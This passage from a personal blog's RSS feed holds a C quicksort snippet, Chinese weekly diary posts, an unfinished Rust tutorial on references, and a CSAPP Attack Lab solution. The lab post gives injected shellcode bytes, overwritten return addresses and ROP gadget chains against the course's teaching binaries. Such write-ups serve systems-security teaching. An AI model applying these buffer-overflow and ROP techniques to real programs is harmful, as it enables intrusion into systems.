<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">    sort</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(arr, tail</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">+</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, r);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">LL arr[</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">200000</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">];</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">int</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> main</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (){</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">    srandom</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">time</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">));</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    LL n;</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">    scanf</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">%lld</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">&#x26;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">n);</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    for</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (LL i </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; i </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">&#x3C;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> n; </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">++</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">i)</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">        scanf</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">%lld</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">&#x26;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">arr[i]);</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">    sort</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(arr, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, n);</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    for</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (LL i </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; i </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">&#x3C;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> n; </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">++</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">i)</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">        printf</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">%lld</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, arr[i]);</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[花时来信 #0xFA]]></title>
            <link>https://blog.yanli.one/weekly-2023-03-29</link>
            <guid isPermaLink="false">https://blog.yanli.one/weekly-2023-03-29</guid>
            <pubDate>Tue, 28 Mar 2023 16:00:00 GMT</pubDate>
            <description><![CDATA[阅读了轻松放松的小说《冬牧场》]]></description>
            <content:encoded><![CDATA[<h2 id="读了什么" tabindex="-1">读了什么 <a class="header-anchor" href="#读了什么" aria-label="Permalink to “读了什么”">&#8203;</a></h2>
<ul>
<li>冬牧场。其实应该算是用 T2S 听的。据说冬天看起来效果更好不过最近确实也挺冷的。总体上是一本很放松的作品，适合随手打开看两段。</li>
</ul>
<h2 id="听了什么" tabindex="-1">听了什么 <a class="header-anchor" href="#听了什么" aria-label="Permalink to “听了什么”">&#8203;</a></h2>
<p><a href="https://podcasts.apple.com/cn/podcast/234-%E4%B8%8E%E4%BE%AF%E6%9D%A8%E6%96%B9%E6%BC%AB%E8%B0%88%E4%B8%9D%E7%BB%B8%E4%B9%8B%E8%B7%AF%E4%B8%8E%E8%A5%BF%E5%9F%9F%E8%80%83%E5%8F%A4/id1493503146?i=1000606262364" target="_blank" rel="noreferrer">‎《忽左忽右》-《234 与侯杨方漫谈丝绸之路与西域考古》- Apple 播客</a></p>
<p><a href="https://etw.fm/2042" target="_blank" rel="noreferrer">声东击西: #248 一张影响世界的地图，与数字中的疫情三年</a></p>
<p><a href="http://etw.fm/2039" target="_blank" rel="noreferrer">声东击西: #245 网红，主播们的斗兽场和人造网络景观</a></p>
<h2 id="看了什么" tabindex="-1">看了什么 <a class="header-anchor" href="#看了什么" aria-label="Permalink to “看了什么”">&#8203;</a></h2>
<ul>
<li>铃芽之旅。好看。真实的天灾之下生死与爱情的交织使本作的情感表达力量格外充实。</li>
</ul>
<h2 id="做了什么" tabindex="-1">做了什么 <a class="header-anchor" href="#做了什么" aria-label="Permalink to “做了什么”">&#8203;</a></h2>
<ul>
<li>给 <a href="https://github.com/craigary/nobelium" target="_blank" rel="noreferrer">Nobelium</a> 提了 PR 处理时区问题。</li>
<li>博客另外还有奇怪的 cache 问题，似乎是 Notion 的问题，有个奇怪的版本会随机从 API 返回。Duplicate 整个 database 其实是一种 fork, 给我折腾了两天最后人工打 log 才发现。完全重建才解决了问题。</li>
<li>配置了 Azure 的 TTS 用来听书。</li>
<li>美团笔试全是算法题，好评。就是有个按理来说 py 三五行就能解决的字符串解析，老过不了。另一个挺简单的小模拟也卡题了，回头重写一遍就过了。</li>
<li>腾讯笔试也全是算法题，不过难度略比美团大些。一个题样例实在没看懂，最后两分钟交了个递增序列上去居然过了 21% 的点，可惜最后几十秒加的递减序列写错了。还有一个题是个基于gcd的组合题，实在来不及写了。看来练练算法题还是有必要的，手速实在慢了许多。</li>
<li>周一连续收到了美团阿里米忽悠的面试还有字节的笔试。</li>
<li>阿里面试 现场写码没写出快排给秒挂了hhh。算是春招期间突然出现的一场彩排了（</li>
<li>字节笔试也全是算法题，很快 AK 了（希望他们是真的有 hc 。。</li>
</ul>
<h2 id="碎碎念" tabindex="-1">碎碎念 <a class="header-anchor" href="#碎碎念" aria-label="Permalink to “碎碎念”">&#8203;</a></h2>
<ul>
<li>datetime 和 en/decoding 应该是计算机历史上最大的俩屎山（或者是最臭的俩）</li>
<li>大连 Accenture 开始裁员了，有感觉到这个寒气，，</li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CSAPP Lab3 Attack Solution]]></title>
            <link>https://blog.yanli.one/csapp-lab3-attack-sol</link>
            <guid isPermaLink="false">https://blog.yanli.one/csapp-lab3-attack-sol</guid>
            <pubDate>Tue, 21 Mar 2023 16:00:00 GMT</pubDate>
            <description><![CDATA[My solution for CSAPP Lab3 Attack]]></description>
            <content:encoded><![CDATA[<p>Full answer:</p>
<p><a href="https://github.com/BeautyyuYanli/code/tree/master/csapp/attack" target="_blank" rel="noreferrer">code/csapp/attack at master · BeautyyuYanli/code</a></p>
<h2 id="lv-1" tabindex="-1">Lv 1 <a class="header-anchor" href="#lv-1" aria-label="Permalink to “Lv 1”">&#8203;</a></h2>
<p>Overwrite <code>0x401976</code>(the real ret addr) with <code>0x4017c0</code>(the func <code>touch1</code> addr).</p>
<p>The address can be examined with <code>x 0x28+$rsp</code> when the program is inside the function <code>getbuf</code>.</p>
<h2 id="lv-2" tabindex="-1">Lv 2 <a class="header-anchor" href="#lv-2" aria-label="Permalink to “Lv 2”">&#8203;</a></h2>
<p>Use gdb to inspect the following address:</p>
<ul>
<li>the address of <code>cookie</code>: <code>0x6044e4</code></li>
<li>the address of original ret address: <code>0x5561dca0</code></li>
<li>address of <code>touch2</code>: <code>0x4017ec</code></li>
</ul>
<p>Then we need a piece of injection code to excute the call to <code>touch2</code>. The injection code should start from the bottom of the memory space for <code>buf</code>, with a sequence of <code>nop</code>. Then it comes to the setting of the argument and ret address for calling <code>touch2</code>.</p>
<p>Firstly overwrite the original ret address with <code>&lt;injection&gt;</code>'s address: [<code>0x5561dca0</code>, +4] = <code>0x5561dc78</code>, which is the bottom of the memory space for <code>buf</code>.</p>
<p>Then set the address for calling <code>&lt;touch2&gt;</code>: [<code>0x5561dc98</code>, +8] = <code>0x4017ec0000000000</code>, where is the top of the memory space for <code>buf</code>.</p>
<p>Then the injection code:</p>
<div class="language-nasm"><button title="Copy Code" class="copy"></button><span class="lang">nasm</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span>0000000000000000 &#x3C;injection>:</span></span>
<span class="line"><span>   0:	90                   	nop</span></span>
<span class="line"><span>   1:	48 c7 c4 98 dc 61 55 	mov    $0x5561dc98,%rsp</span></span>
<span class="line"><span>   8:	48 c7 c7 00 00 00 00 	mov    $0x0,%rdi</span></span>
<span class="line"><span>   f:	48 8b bf e4 44 60 00 	mov    0x6044e4(%rdi),%rdi</span></span>
<span class="line"><span>  16:	c3                   	ret</span></span></code></pre>
</div><p>The stack should be like:</p>
<div class="language-nasm"><button title="Copy Code" class="copy"></button><span class="lang">nasm</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span>    addr of original ret -> addr of injection (0x5561dc78)</span></span>
<span class="line"><span>0x5561dca0 ^^^</span></span>
<span class="line"><span>buf:</span></span>
<span class="line"><span>    addr of touch2 (0x4017ec)</span></span>
<span class="line"><span>0x5561dc98 ^^^</span></span>
<span class="line"><span>injection:</span></span>
<span class="line"><span>    ret</span></span>
<span class="line"><span>    movq 0x6044e4(%rdi), %rdi</span></span>
<span class="line"><span>    movq $0, %rdi</span></span>
<span class="line"><span>    movq $0x5561dc98, %rsp</span></span>
<span class="line"><span>    nop...</span></span>
<span class="line"><span>0x5561dc78^^^</span></span></code></pre>
</div><h2 id="lv-3" tabindex="-1">Lv 3 <a class="header-anchor" href="#lv-3" aria-label="Permalink to “Lv 3”">&#8203;</a></h2>
<p>Similar to Lv2:</p>
<ul>
<li>the value of <code>cookie</code>: <code>0x59b997fa</code></li>
<li>the corresponding little-endian value for the string <code>'59b997fa'</code>: <code>0x6166373939623935</code></li>
<li>the address of original ret address: <code>0x5561dca0</code></li>
<li>address of <code>touch3</code>: <code>0x4018fa</code></li>
</ul>
<p>Firstly overwrite the original ret address with <code>&lt;injection&gt;</code>'s address: [<code>0x5561dca0</code>, +4] = <code>0x5561dc78</code>, which is the bottom of the memory space for <code>buf</code>.</p>
<p>Now we define the place start from the bottom of the memory space for <code>buf</code> (<code>0x5561dc78</code>) as the new start of stack.</p>
<p>Then the injection code:</p>
<div class="language-nasm"><button title="Copy Code" class="copy"></button><span class="lang">nasm</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span>0000000000000000 &#x3C;injection>:</span></span>
<span class="line"><span>   0:	90                   	nop</span></span>
<span class="line"><span>   1:	48 c7 c4 78 dc 61 55 	mov    $0x5561dc78,%rsp</span></span>
<span class="line"><span>   8:	48 bf 35 39 62 39 39 	movabs $0x6166373939623935,%rdi</span></span>
<span class="line"><span>   f:	37 66 61 </span></span>
<span class="line"><span>  12:	6a 00                	push   $0x0</span></span>
<span class="line"><span>  14:	57                   	push   %rdi</span></span>
<span class="line"><span>  15:	48 89 e7             	mov    %rsp,%rdi</span></span>
<span class="line"><span>  18:	48 c7 c0 fa 18 40 00 	mov    $0x4018fa,%rax</span></span>
<span class="line"><span>  1f:	50                   	push   %rax</span></span>
<span class="line"><span>  20:	c3                   	ret</span></span></code></pre>
</div><h2 id="lv-4" tabindex="-1">Lv 4 <a class="header-anchor" href="#lv-4" aria-label="Permalink to “Lv 4”">&#8203;</a></h2>
<p>const:</p>
<ul>
<li>cookie value: <code>0x59b997fa</code></li>
<li>touch2: <code>0x4017ec</code></li>
</ul>
<p>gadget:</p>
<ul>
<li>popq %rax : <code>0x4019cc</code></li>
<li>movq %rax, %rdi: <code>0x4019c5</code></li>
</ul>
<p>stack:</p>
<div class="language-nasm"><button title="Copy Code" class="copy"></button><span class="lang">nasm</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span># [any byte] * 0x28</span></span>
<span class="line"><span>addr: 0x4019cc</span></span>
<span class="line"><span>0x59b997fa</span></span>
<span class="line"><span>addr: 0x4019c5</span></span>
<span class="line"><span>addr: 0x4017ec</span></span></code></pre>
</div><h2 id="lv-5" tabindex="-1">Lv 5 <a class="header-anchor" href="#lv-5" aria-label="Permalink to “Lv 5”">&#8203;</a></h2>
<p>Use ChatGPT to form the byte sequence from farm:</p>
<p><img src="https://github.com/BeautyyuYanli/code/raw/master/csapp/attack/assest/FrwhYyfWIAgAnNf.png" alt="" loading="lazy"></p>
<p><img src="https://github.com/BeautyyuYanli/code/raw/master/csapp/attack/assest/Frwhdc3WYAA_IFO.png" alt="" loading="lazy"></p>
<p>Find a gadget to save %rsp:</p>
<p><code>grep -P '48 89 e[0-7] (90 )*c3' &lt; dumpr.clean.d</code></p>
<p>get:</p>
<ul>
<li>mov %rsp, %rax : <code>0x401a06</code></li>
</ul>
<p>Find gadgets to add something:</p>
<p><code>grep -P '48 8d (.. ){0,4}c3' &lt; dumpr.clean.d</code></p>
<p>get:</p>
<ul>
<li>lea (%rdi, %rsi, 1), %rax : <code>0x4019d6</code></li>
</ul>
<p>Find gadgets to move %rax:</p>
<p><code>grep -P '48 89 c[0-7] (.. ){0,4}c3' &lt; dumpr.clean.d</code></p>
<p>get:</p>
<ul>
<li>movq %rax, %rdi : <code>0x4019c5</code></li>
</ul>
<p>Find gadgets to move something to %rsi:</p>
<p><code>grep -P '89 .[6e] (.. ){0,4}c3' &lt; dumpr.clean.d</code></p>
<p>get:</p>
<ul>
<li>movl %ecx, %esi : <code>0x401a13</code></li>
</ul>
<p>Find gadgets to move something to %ecx:</p>
<p><code>grep -P '89 [c-f](./1|9) (.. ){0,4}c3' &lt; dumpr.clean.d</code></p>
<p>get:</p>
<ul>
<li>movl %edx, %ecx : <code>0x401a34</code></li>
</ul>
<p>Find gadgets to move something to %edx:</p>
<p><code>grep -P '89 [c-f](./2|a) (.. ){0,4}c3' &lt; dumpr.clean.d</code></p>
<p>get:</p>
<ul>
<li>movl %eax, %edx : <code>0x4019dd</code></li>
</ul>
<p>Finally, we can pop something to %eax:</p>
<ul>
<li>popq %rax : <code>0x4019cc</code></li>
</ul>
<p>The code be like:</p>
<div class="language-nasm"><button title="Copy Code" class="copy"></button><span class="lang">nasm</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span>mov %rsp, %rax : `0x401a06`</span></span>
<span class="line"><span>movq %rax, %rdi : `0x4019c5`</span></span>
<span class="line"><span>popq %rax : `0x4019cc`</span></span>
<span class="line"><span>movl %eax, %edx : `0x4019dd`</span></span>
<span class="line"><span>movl %edx, %ecx : `0x401a34`</span></span>
<span class="line"><span>movl %ecx, %esi : `0x401a13`</span></span>
<span class="line"><span>lea (%rdi, %rsi, 1), %rax : `0x4019d6`</span></span>
<span class="line"><span>movq %rax, %rdi : `0x4019c5`</span></span>
<span class="line"><span>call touch3</span></span></code></pre>
</div><ul>
<li>the value of <code>cookie</code>: <code>0x59b997fa</code></li>
<li>the corresponding byte sequence encoding the string <code>'59b997fa'</code>: <code>35 39 62 39 39 37 66 61</code></li>
</ul>
<p>The stack should be like:</p>
<div class="language-nasm"><button title="Copy Code" class="copy"></button><span class="lang">nasm</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span># [any byte] * 0x28</span></span>
<span class="line"><span>addr: 0x401a06</span></span>
<span class="line"><span>=== %rax is here ===</span></span>
<span class="line"><span>addr: 0x4019c5</span></span>
<span class="line"><span>addr: 0x4019cc</span></span>
<span class="line"><span>0x9*8=0x48</span></span>
<span class="line"><span>addr: 0x4019dd</span></span>
<span class="line"><span>addr: 0x401a34</span></span>
<span class="line"><span>addr: 0x401a13</span></span>
<span class="line"><span>addr: 0x4019d6</span></span>
<span class="line"><span>addr: 0x4019c5</span></span>
<span class="line"><span>addr: 0x4018fa (touch3)</span></span>
<span class="line"><span>35 39 62 39 39 37 66 61</span></span></code></pre>
</div><p>Use ChatGPT to convert it:</p>
<p><img src="https://github.com/BeautyyuYanli/code/raw/master/csapp/attack/assest/p3.png" alt="" loading="lazy"></p>
<p><img src="https://github.com/BeautyyuYanli/code/raw/master/csapp/attack/assest/p4.png" alt="" loading="lazy"></p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[花时来信 #0xF9]]></title>
            <link>https://blog.yanli.one/weekly-2023-03-22</link>
            <guid isPermaLink="false">https://blog.yanli.one/weekly-2023-03-22</guid>
            <pubDate>Tue, 21 Mar 2023 16:00:00 GMT</pubDate>
            <description><![CDATA[完成了 CSAPP Lab3 和开始动手做了 6.S081 的第一个 lab。尝试开始跑步、读了丧钟为谁而鸣]]></description>
            <content:encoded><![CDATA[<h2 id="读了什么" tabindex="-1">读了什么 <a class="header-anchor" href="#读了什么" aria-label="Permalink to “读了什么”">&#8203;</a></h2>
<p><strong>丧钟为谁而鸣</strong></p>
<ul>
<li>
<p>摘录文段</p>
<p><img src="./Untitled.png" alt="Untitled" loading="lazy"></p>
<p><img src="./Untitled 1.png" alt="Untitled" loading="lazy"></p>
<p><img src="./Screenshot_20230320-182144_Pixel_Launcher.png" alt="Screenshot_20230320-182144_Pixel Launcher.png" loading="lazy"></p>
<p><img src="./Screenshot_20230320-173859_Pixel_Launcher.png" alt="Screenshot_20230320-173859_Pixel Launcher.png" loading="lazy"></p>
</li>
</ul>
<p>在想标题里的丧钟到底是指什么。最大的可能是女人借助手相的预言，另一个可能是飞机的轰鸣声。</p>
<p><a href="https://www.designboom.com/art/tomas-libertiny-beeswax-hera-nefertiti-busts-vulnerability-strength-02-20-2023/" target="_blank" rel="noreferrer">tomáš libertíny's beeswax busts of hera and nefertiti translate vulnerability into strength</a></p>
<h2 id="听了什么" tabindex="-1">听了什么 <a class="header-anchor" href="#听了什么" aria-label="Permalink to “听了什么”">&#8203;</a></h2>
<p><a href="https://www.xiaoyuzhoufm.com/episode/6410941b092eb63cb09efcd8?utm_source=rss" target="_blank" rel="noreferrer">【梵高MoneyTalk】硅谷银行推倒了世界金融危机的首块骨牌？</a></p>
<p><a href="https://leftovertalk.fm/15" target="_blank" rel="noreferrer">边角聊: 15 路易十六人头落地230周年“纪念”</a></p>
<h2 id="做了什么" tabindex="-1">做了什么 <a class="header-anchor" href="#做了什么" aria-label="Permalink to “做了什么”">&#8203;</a></h2>
<ul>
<li>
<p>把拖了好久的 CSAPP Lab3 做完了</p>
<p><a href="https://blog.beautyyu.one/csapp-lab3-attack-sol" target="_blank" rel="noreferrer"></a></p>
</li>
<li>
<p>开始动手做了 6.S081 的第一个 lab</p>
</li>
<li>
<p>参加了 mhy 的笔试，最末一题没调出来</p>
</li>
<li>
<p>把学校的形势政策（or 形式主义政策）课处理完了</p>
</li>
<li>
<p>试着跑了步</p>
</li>
</ul>
<h2 id="看了什么" tabindex="-1">看了什么 <a class="header-anchor" href="#看了什么" aria-label="Permalink to “看了什么”">&#8203;</a></h2>
<p><a href="https://twitter.com/Asibuto_Penta/status/1637651978473062401?s=20" target="_blank" rel="noreferrer">https://twitter.com/Asibuto_Penta/status/1637651978473062401?s=20</a></p>
<p><a href="https://twitter.com/lvv2com/status/1635946781879025664?s=20" target="_blank" rel="noreferrer">Bad.news on Twitter</a></p>
<h2 id="碎碎念" tabindex="-1">碎碎念 <a class="header-anchor" href="#碎碎念" aria-label="Permalink to “碎碎念”">&#8203;</a></h2>
<ul>
<li>
<p>就在这学期之前，编政治课报告还是一个很辛苦的工作。。。</p>
</li>
<li>
<p>LLM 三大任务：翻译、写代码、当猫娘，Bard 能且只能做最后一项，不过做的还挺好</p>
<p><img src="./Untitled 2.png" alt="Untitled" loading="lazy"></p>
</li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Rust: A Generally View of Reference and Its Mutability]]></title>
            <link>https://blog.yanli.one/rust-a-general-view-of-reference-and-its-mutability</link>
            <guid isPermaLink="false">https://blog.yanli.one/rust-a-general-view-of-reference-and-its-mutability</guid>
            <pubDate>Sat, 18 Feb 2023 16:00:00 GMT</pubDate>
            <description><![CDATA[A reference (&) is used to access or change data without taking responsibility for it. This is more like a pointer in C/C++ than a reference in C++. In Rust, a reference is usually not changeable, but it can be made changeable at the top or bottom level. Automatic dereferencing is used to work out if a reference should act like an alias or a pointer.]]></description>
            <content:encoded><![CDATA[<h2 id="_0-overview" tabindex="-1">0. Overview <a class="header-anchor" href="#_0-overview" aria-label="Permalink to “0. Overview”">&#8203;</a></h2>
<p>Rust's most essential concept is the <code>owner</code>. A variable is the unique <code>owner</code> of some data, which means that when the variable is <code>drop</code>ped, the data is removed from memory and cannot be recovered. This <code>owner</code> model provides a way to take responsibility for data in memory, preventing memory leaks and double-free errors.</p>
<p>If someone wants to access or modify data but doesn't want to take responsibility for it, they can use a <code>reference</code> (<code>&amp;</code>). In Rust, a <code>reference</code> is more similar to a <code>pointer</code> in C/C++ than a <code>reference</code> in C++.</p>
<p>By default, a <code>reference</code> is immutable, meaning both the <code>reference</code> itself and the variable it refers to cannot be changed. However, when talking about a &quot;mutable reference,&quot; there is a problem similar to the &quot;top-level/low-level const pointer&quot; in C/C++: which one is mutable, the <code>reference</code> itself or the variable it refers to?</p>
<h2 id="_1-the-reference-in-rust-is-the-thing-known-as-the-pointer-in-c-c" tabindex="-1">1. The <code>reference</code> in Rust is the thing known as the <code>pointer</code> in C/C++ <a class="header-anchor" href="#_1-the-reference-in-rust-is-the-thing-known-as-the-pointer-in-c-c" aria-label="Permalink to “1. The reference in Rust is the thing known as the pointer in C/C++”">&#8203;</a></h2>
<p>If we use an editor plugin with <code>rust-analyzer</code>, code will be displayed as follows:</p>
<div class="language-rust"><button title="Copy Code" class="copy"></button><span class="lang">rust</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    let</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> a </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> String</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">::</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"hello world"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    let</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> b</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">:</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">String</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> =</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">a;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    let</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> c</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">:</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;&#x26;</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">String</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> =</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">b;</span></span></code></pre>
</div><p>The analyzer shows that the type of <code>b</code> is <code>&amp;String</code> and <code>c</code> is <code>&amp;&amp;String</code>. This is similar to the <code>*int</code> and <code>**int</code> in C/C++, right?</p>
<h2 id="_2-top-level-low-level-mutable-reference-in-rust" tabindex="-1">2. Top-Level/Low-Level Mutable Reference in Rust <a class="header-anchor" href="#_2-top-level-low-level-mutable-reference-in-rust" aria-label="Permalink to “2. Top-Level/Low-Level Mutable Reference in Rust”">&#8203;</a></h2>
<p>Let's start with C/C++. As <a href="https://www.oreilly.com/library/view/c-primer-fifth/9780133053043/ch02lev2sec15.html" target="_blank" rel="noreferrer">C++ Primer</a> explains, there are two types of <code>const</code> in C/C++:</p>
<div class="language-cpp"><button title="Copy Code" class="copy"></button><span class="lang">cpp</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">int</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> a </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">const</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> int</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> *</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">b </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">a;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">int</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> *const</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> c </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">a;</span></span></code></pre>
</div><p>The former <code>b</code> is a pointer to a const value <code>a</code>. <code>a</code> is not declared as a const variable, yet <code>b</code> treats it as such, disallowing any modifications. However, <code>b</code> itself is not const; it can be made to point to another const value, e.g.:</p>
